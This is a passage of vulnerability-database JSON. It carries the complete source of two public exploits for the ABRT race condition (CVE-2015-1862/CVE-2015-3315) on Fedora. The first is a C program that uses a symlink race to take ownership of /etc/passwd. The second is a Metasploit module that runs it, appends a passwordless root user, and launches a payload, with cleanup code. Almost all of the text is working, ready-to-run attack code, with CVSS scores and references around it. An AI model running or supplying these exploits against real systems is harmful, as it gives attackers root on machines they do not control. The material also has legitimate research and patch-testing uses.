https://www.exploit-db.com/exploits/36747/\n # Cross-compiled with:\n # - i486-linux-musl-cc -static raceabrt.c\n path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'\n fd = ::File.open path, 'rb'\n executable_data = fd.read fd.stat.size\n fd.close\n\n executable_name = \".#{rand_text_alphanumeric rand(5..10)}\"\n executable_path = \"#{base_dir}/#{executable_name}\"\n upload_and_chmodx executable_path, executable_data\n\n # Change working directory to base_dir\n cmd_exec \"cd '#{base_dir}'\"\n\n # Launch raceabrt executable\n print_status \"Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ...\"\n output = cmd_exec \"#{executable_path} #{@chown_file}\", nil, timeout\n output.each_line { |line| vprint_status line.chomp }\n\n # Check if we own /etc/passwd\n unless cmd_exec(\"[ -w #{@chown_file} ] && echo true\").include? 'true'\n fail_with Failure::Unknown, \"Failed to own '#{@chown_file}'\"\n end\n\n print_good \"Success! '#{@chown_file}' is writable\"\n\n # Add new user with no password\n print_status \"Adding #{@username} user to #{@chown_file} ...\"\n cmd_exec \"echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}\"\n\n # Upload payload executable\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}\"\n upload_and_chmodx payload_path, generate_payload_exe\n\n # Execute payload executable\n vprint_status 'Executing payload...'\n cmd_exec \"/bin/bash -c \\\"echo #{payload_path} | su - #{@username}&\\\"\"\n end\n\n def on_new_session(session)\n if session.type.to_s.eql? 'meterpreter'\n session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'\n end\n\n # Reinstate /etc/passwd root ownership and remove new user\n root_owns_passwd = false\n new_user_removed = false\n\n if session.type.to_s.eql? 'meterpreter'\n # Reinstate /etc/passwd root ownership\n session.sys.process.execute '/bin/sh', \"-c \\\"chown root:root #{@chown_file}\\\"\"\n\n # Remove new user\n session.sys.process.execute '/bin/sh', \"-c \\\"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\\\"\"\n\n # Wait for clean up\n Rex.sleep 5\n\n # Check root ownership\n passwd_stat = session.fs.file.stat(@chown_file).stathash\n if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0\n root_owns_passwd = true\n end\n\n # Check for new user in /etc/passwd\n passwd_contents = session.fs.file.open(@chown_file).read.to_s\n unless passwd_contents.include? \"#{@username}:\"\n new_user_removed = true\n end\n elsif session.type.to_s.eql? 'shell'\n # Reinstate /etc/passwd root ownership\n session.shell_command_token \"chown root:root #{@chown_file}\"\n\n # Remove new user\n session.shell_command_token \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\"\n\n # Check root ownership\n passwd_owner = session.shell_command_token \"ls -l #{@chown_file}\"\n if passwd_owner.to_s.include? 'root'\n root_owns_passwd = true\n end\n\n # Check for new user in /etc/passwd\n passwd_user = session.shell_command_token \"grep '#{@username}:' #{@chown_file}\"\n unless passwd_user.to_s.include? \"#{@username}:\"\n new_user_removed = true\n end\n end\n\n unless root_owns_passwd\n print_warning \"Could not reinstate root ownership of #{@chown_file}\"\n end\n\n unless new_user_removed\n print_warning \"Could not remove user '#{@username}' from #{@chown_file}\"\n end\n rescue => e\n print_error \"Error during cleanup: #{e.message}\"\n ensure\n super\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2022-08-16T08:24:25", "description": "", "cvss3": {"exploitabilityScore": 1.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.0, "vectorString": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2015-04-14T00:00:00", "type": "exploitdb", "title": "Abrt (Fedora 21) - Race Condition", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 6.9, "vectorString": "AV:L/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["2015-1862", "2015-3315", "CVE-2015-1862"], "modified": "2015-04-14T00:00:00", "id": "EDB-ID:36747", "href": "https://www.exploit-db.com/exploits/36747", "sourceData": "#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <stdbool.h>\r\n#include <stdio.h>\r\n#include <signal.h>\r\n#include <err.h>\r\n#include <string.h>\r\n#include <alloca.h>\r\n#include <limits.h>\r\n#include <sys/inotify.h>\r\n#include <sys/prctl.h>\r\n#include <sys/types.h>\r\n#include <sys/types.h>\r\n#include <sys/wait.h>\r\n#include <sys/stat.h>\r\n\r\n//\r\n// This is a race condition exploit for CVE-2015-1862, targeting Fedora.\r\n//\r\n// Note: It can take a few minutes to win the race condition.\r\n//\r\n// -- taviso@cmpxchg8b.com, April 2015.\r\n//\r\n// $ cat /etc/fedora-release \r\n// Fedora release 21 (Twenty One)\r\n// $ ./a.out /etc/passwd\r\n// [ wait a few minutes ]\r\n// Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race...\r\n// Exploit successful...\r\n// -rw-r--r--. 1 taviso abrt 1751 Sep 26 2014 /etc/passwd\r\n//\r\n\r\nstatic const char kAbrtPrefix[] = \"/var/tmp/abrt/\";\r\nstatic const size_t kMaxEventBuf = 8192;\r\nstatic const size_t kUnlinkAttempts = 8192 * 2;\r\nstatic const int kCrashDelay = 10000;\r\n\r\nstatic pid_t create_abrt_events(const char *name);\r\n\r\nint main(int argc, char **argv)\r\n{\r\n int fd, i;\r\n int watch;\r\n pid_t child;\r\n struct stat statbuf;\r\n struct inotify_event *ev;\r\n char *eventbuf = alloca(kMaxEventBuf);\r\n ssize_t size;\r\n\r\n // First argument is the filename user wants us to chown().\r\n if (argc != 2) {\r\n errx(EXIT_FAILURE, \"please specify filename to chown (e.g. /etc/passwd)\");\r\n }\r\n\r\n // This is required as we need to make different comm names to avoid\r\n // triggering abrt rate limiting, so we fork()/execve() different names.\r\n if (strcmp(argv[1], \"crash\") == 0) {\r\n __builtin_trap();\r\n }\r\n\r\n // Setup inotify, and add a watch on the abrt directory.\r\n if ((fd = inotify_init()) < 0) {\r\n err(EXIT_FAILURE, \"unable to initialize inotify\");\r\n }\r\n\r\n if ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) {\r\n err(EXIT_FAILURE, \"failed to create new watch descriptor\");\r\n }\r\n\r\n // Start causing crashes so that abrt generates reports.\r\n if ((child = create_abrt_events(*argv)) == -1) {\r\n err(EXIT_FAILURE, \"failed to generate abrt reports\");\r\n }\r\n\r\n // Now start processing inotify events.\r\n while ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) {\r\n\r\n // We can receive multiple events per read, so check each one.\r\n for (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) {\r\n char dirname[NAME_MAX];\r\n char mapsname[NAME_MAX];\r\n char command[1024];\r\n\r\n // If this is a new ccpp report, we can start trying to race it.\r\n if (strncmp(ev->name, \"ccpp\", 4) != 0) {\r\n continue;\r\n }\r\n\r\n // Construct pathnames.\r\n strncpy(dirname, kAbrtPrefix, sizeof dirname);\r\n strncat(dirname, ev->name, sizeof dirname);\r\n\r\n strncpy(mapsname, dirname, sizeof dirname);\r\n strncat(mapsname, \"/maps\", sizeof mapsname);\r\n\r\n fprintf(stderr, \"Detected %s, attempting to race...\\n\", ev->name);\r\n\r\n // Check if we need to wait for the next event or not.\r\n while (access(dirname, F_OK) == 0) {\r\n for (i = 0; i < kUnlinkAttempts; i++) {\r\n // We need to unlink() and symlink() the file to win.\r\n if (unlink(mapsname) != 0) {\r\n continue;\r\n }\r\n\r\n // We won the first race, now attempt to win the\r\n // second race....\r\n if (symlink(argv[1], mapsname) != 0) {\r\n break;\r\n }\r\n\r\n // This looks good, but doesn't mean we won, it's possible\r\n // chown() might have happened while the file was unlinked.\r\n //\r\n // Give it a few microseconds to run chown()...just in case\r\n // we did win.\r\n usleep(10);\r\n\r\n if (stat(argv[1], &statbuf) != 0) {\r\n errx(EXIT_FAILURE, \"unable to stat target file %s\", argv[1]);\r\n }\r\n\r\n if (statbuf.st_uid != getuid()) {\r\n break;\r\n }\r\n\r\n fprintf(stderr, \"\\tExploit successful...\\n\");\r\n\r\n // We're the new owner, run ls -l to show user.\r\n sprintf(command, \"ls -l %s\", argv[1]);\r\n system(command);\r\n\r\n return EXIT_SUCCESS;\r\n }\r\n }\r\n\r\n fprintf(stderr, \"\\tDidn't win, trying again!\\n\");\r\n }\r\n }\r\n\r\n err(EXIT_FAILURE, \"failed to read inotify event\");\r\n}\r\n\r\n// This routine attempts to generate new abrt events. We can't just crash,\r\n// because abrt sanely tries to rate limit report creation, so we need a new\r\n// comm name for each crash.\r\nstatic pid_t create_abrt_events(const char *name)\r\n{\r\n char *newname;\r\n int status;\r\n pid_t child, pid;\r\n\r\n // Create a child process to generate events.\r\n if ((child = fork()) != 0)\r\n return child;\r\n\r\n // Make sure we stop when parent dies.\r\n prctl(PR_SET_PDEATHSIG, SIGKILL);\r\n\r\n while (true) {\r\n // Choose a new unused filename\r\n newname = tmpnam(0);\r\n\r\n // Make sure we're not too fast.\r\n usleep(kCrashDelay);\r\n\r\n // Create a new crashing subprocess.\r\n if ((pid = fork()) == 0) {\r\n if (link(name, newname) != 0) {\r\n err(EXIT_FAILURE, \"failed to create a new exename\");\r\n }\r\n\r\n // Execute crashing process.\r\n execl(newname, newname, \"crash\", NULL);\r\n\r\n // This should always work.\r\n err(EXIT_FAILURE, \"unexpected execve failure\");\r\n }\r\n\r\n // Reap crashed subprocess.\r\n if (waitpid(pid, &status, 0) != pid) {\r\n err(EXIT_FAILURE, \"waitpid failure\");\r\n }\r\n\r\n // Clean up the temporary name.\r\n if (unlink(newname) != 0) {\r\n err(EXIT_FAILURE, \"failed to clean up\");\r\n }\r\n\r\n // Make sure it crashed as expected.\r\n if (!WIFSIGNALED(status)) {\r\n errx(EXIT_FAILURE, \"something went wrong\");\r\n }\r\n }\r\n\r\n return child;\r\n}", "sourceHref": "https://www.exploit-db.com/download/36747", "cvss": {"score": 6.9, "vector": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-08-16T06:14:25", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-02-16T00:00:00", "type": "exploitdb", "title": "ABRT - 'raceabrt' Privilege Escalation (Metasploit)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["2015-3315", "CVE-2015-1862", "CVE-2015-3315"], "modified": "2018-02-16T00:00:00", "id": "EDB-ID:44097", "href": "https://www.exploit-db.com/exploits/44097", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'ABRT raceabrt Privilege Escalation',\r\n 'Description' => %q{\r\n This module attempts to gain root privileges on Fedora systems with\r\n a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured\r\n as the crash handler.\r\n\r\n A race condition allows local users to change ownership of arbitrary\r\n files (CVE-2015-3315). This module uses a symlink attack on\r\n '/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd,\r\n then adds a new user with UID=0 GID=0 to gain root privileges.\r\n Winning the race could take a few minutes.\r\n\r\n This module has been tested successfully on ABRT packaged version\r\n 2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop\r\n 19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64.\r\n\r\n Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Tavis Ormandy', # Discovery and C exploit\r\n 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit\r\n ],\r\n 'DisclosureDate' => 'Apr 14 2015',\r\n 'Platform' => [ 'linux' ],\r\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\r\n 'SessionTypes' => [ 'shell', 'meterpreter' ],\r\n 'Targets' => [[ 'Auto', {} ]],\r\n 'References' =>\r\n [\r\n [ 'CVE', '2015-3315' ],\r\n [ 'EDB', '36747' ],\r\n [ 'BID', '75117' ],\r\n [ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],\r\n [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],\r\n [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],\r\n [ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],\r\n [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],\r\n [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],\r\n [ 'URL', 'https://access.redhat.com/articles/1415483' ],\r\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],\r\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],\r\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]\r\n ]\r\n ))\r\n register_options(\r\n [\r\n OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),\r\n OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]),\r\n OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\r\n ])\r\n end\r\n\r\n def base_dir\r\n datastore['WritableDir']\r\n end\r\n\r\n def timeout\r\n datastore['TIMEOUT']\r\n end\r\n\r\n def check\r\n if cmd_exec('lsattr /etc/passwd').include? 'i'\r\n vprint_error 'File /etc/passwd is immutable'\r\n return CheckCode::Safe\r\n end\r\n\r\n kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'\r\n unless kernel_core_pattern.include? 'abrt-hook-ccpp'\r\n vprint_error 'System is NOT configured to use ABRT for crash reporting'\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'System is configured to use ABRT for crash reporting'\r\n\r\n if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'\r\n vprint_error \"Directory '/var/spool/abrt' exists. System has been patched.\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'System does not appear to have been patched'\r\n\r\n unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'\r\n vprint_error \"Directory '/var/tmp/abrt' does NOT exist\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good \"Directory '/var/tmp/abrt' exists\"\r\n\r\n if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'\r\n vprint_error 'abrt-ccp service NOT running'\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'abrt-ccpp service is running'\r\n\r\n abrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\\s+/)[1]\r\n unless abrt_version.blank?\r\n vprint_status \"System is using ABRT package version #{abrt_version}\"\r\n end\r\n\r\n CheckCode::Detected\r\n end\r\n\r\n def upload_and_chmodx(path, data)\r\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\r\n rm_f path\r\n write_file path, data\r\n cmd_exec \"chmod +x '#{path}'\"\r\n register_file_for_cleanup path\r\n end\r\n\r\n def exploit\r\n if check != CheckCode::Detected\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable'\r\n end\r\n\r\n @chown_file = '/etc/passwd'\r\n\r\n if datastore['USERNAME'].blank?\r\n @username = rand_text_alpha rand(7..10)\r\n else\r\n @username = datastore['USERNAME']\r\n end\r\n\r\n # Upload Tavis Ormandy's raceabrt exploit:\r\n # - https://www.exploit-db.com/exploits/36747/\r\n # Cross-compiled with:\r\n # - i486-linux-musl-cc -static raceabrt.c\r\n path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'\r\n fd = ::File.open path, 'rb'\r\n executable_data = fd.read fd.stat.size\r\n fd.close\r\n\r\n executable_name = \".#{rand_text_alphanumeric rand(5..10)}\"\r\n executable_path = \"#{base_dir}/#{executable_name}\"\r\n upload_and_chmodx executable_path, executable_data\r\n\r\n # Change working directory to base_dir\r\n cmd_exec \"cd '#{base_dir}'\"\r\n\r\n # Launch raceabrt executable\r\n print_status \"Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ...\"\r\n output = cmd_exec \"#{executable_path} #{@chown_file}\", nil, timeout\r\n output.each_line { |line| vprint_status line.chomp }\r\n\r\n # Check if we own /etc/passwd\r\n unless cmd_exec(\"[ -w #{@chown_file} ] && echo true\").include? 'true'\r\n fail_with Failure::Unknown, \"Failed to own '#{@chown_file}'\"\r\n end\r\n\r\n print_good \"Success! '#{@chown_file}' is writable\"\r\n\r\n # Add new user with no password\r\n print_status \"Adding #{@username} user to #{@chown_file} ...\"\r\n cmd_exec \"echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}\"\r\n\r\n # Upload payload executable\r\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}\"\r\n upload_and_chmodx payload_path, generate_payload_exe\r\n\r\n # Execute payload executable\r\n vprint_status 'Executing payload...'\r\n cmd_exec \"/bin/bash -c \\\"echo #{payload_path} | su - #{@username}&\\\"\"\r\n end\r\n\r\n def on_new_session(session)\r\n if session.type.to_s.eql? 'meterpreter'\r\n session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'\r\n end\r\n\r\n # Reinstate /etc/passwd root ownership and remove new user\r\n root_owns_passwd = false\r\n new_user_removed = false\r\n\r\n if session.type.to_s.eql? 'meterpreter'\r\n # Reinstate /etc/passwd root ownership\r\n session.sys.process.execute '/bin/sh', \"-c \\\"chown root:root #{@chown_file}\\\"\"\r\n\r\n # Remove new user\r\n session.sys.process.execute '/bin/sh', \"-c \\\"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\\\"\"\r\n\r\n # Wait for clean up\r\n Rex.sleep 5\r\n\r\n # Check root ownership\r\n passwd_stat = session.fs.file.stat(@chown_file).stathash\r\n if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0\r\n root_owns_passwd = true\r\n end\r\n\r\n # Check for new user in /etc/passwd\r\n passwd_contents = session.fs.file.open(@chown_file).read.to_s\r\n unless passwd_contents.include? \"#{@username}:\"\r\n new_user_removed = true\r\n end\r\n elsif session.type.to_s.eql? 'shell'\r\n # Reinstate /etc/passwd root ownership\r\n session.shell_command_token \"chown root:root #{@chown_file}\"\r\n\r\n # Remove new user\r\n session.shell_command_token \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\"\r\n\r\n # Check root ownership\r\n passwd_owner = session.shell_command_token \"ls -l #{@chown_file}\"\r\n if passwd_owner.to_s.include? 'root'\r\n root_owns_passwd = true\r\n end\r\n\r\n # Check for new user in /etc/passwd\r\n passwd_user = session.shell_command_token \"grep '#{@username}:' #{@chown_file}\"\r\n unless passwd_user.to_s.include? \"#{@username}:\"\r\n new_user_removed = true\r\n end\r\n end\r\n\r\n unless root_owns_passwd\r\n print_warning \"Could not reinstate root ownership of #{@chown_file}\"\r\n end\r\n\r\n unless new_user_removed\r\n print_warning \"Could not remove user '#{@username}' from #{@chown_file}\"\r\n end\r\n rescue => e\r\n print_error \"Error during cleanup: #{e.message}\"\r\n ensure\r\n super\r\n end\r\nend", "sourceHref": "https://www.exploit-db.com/download/44097", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}]}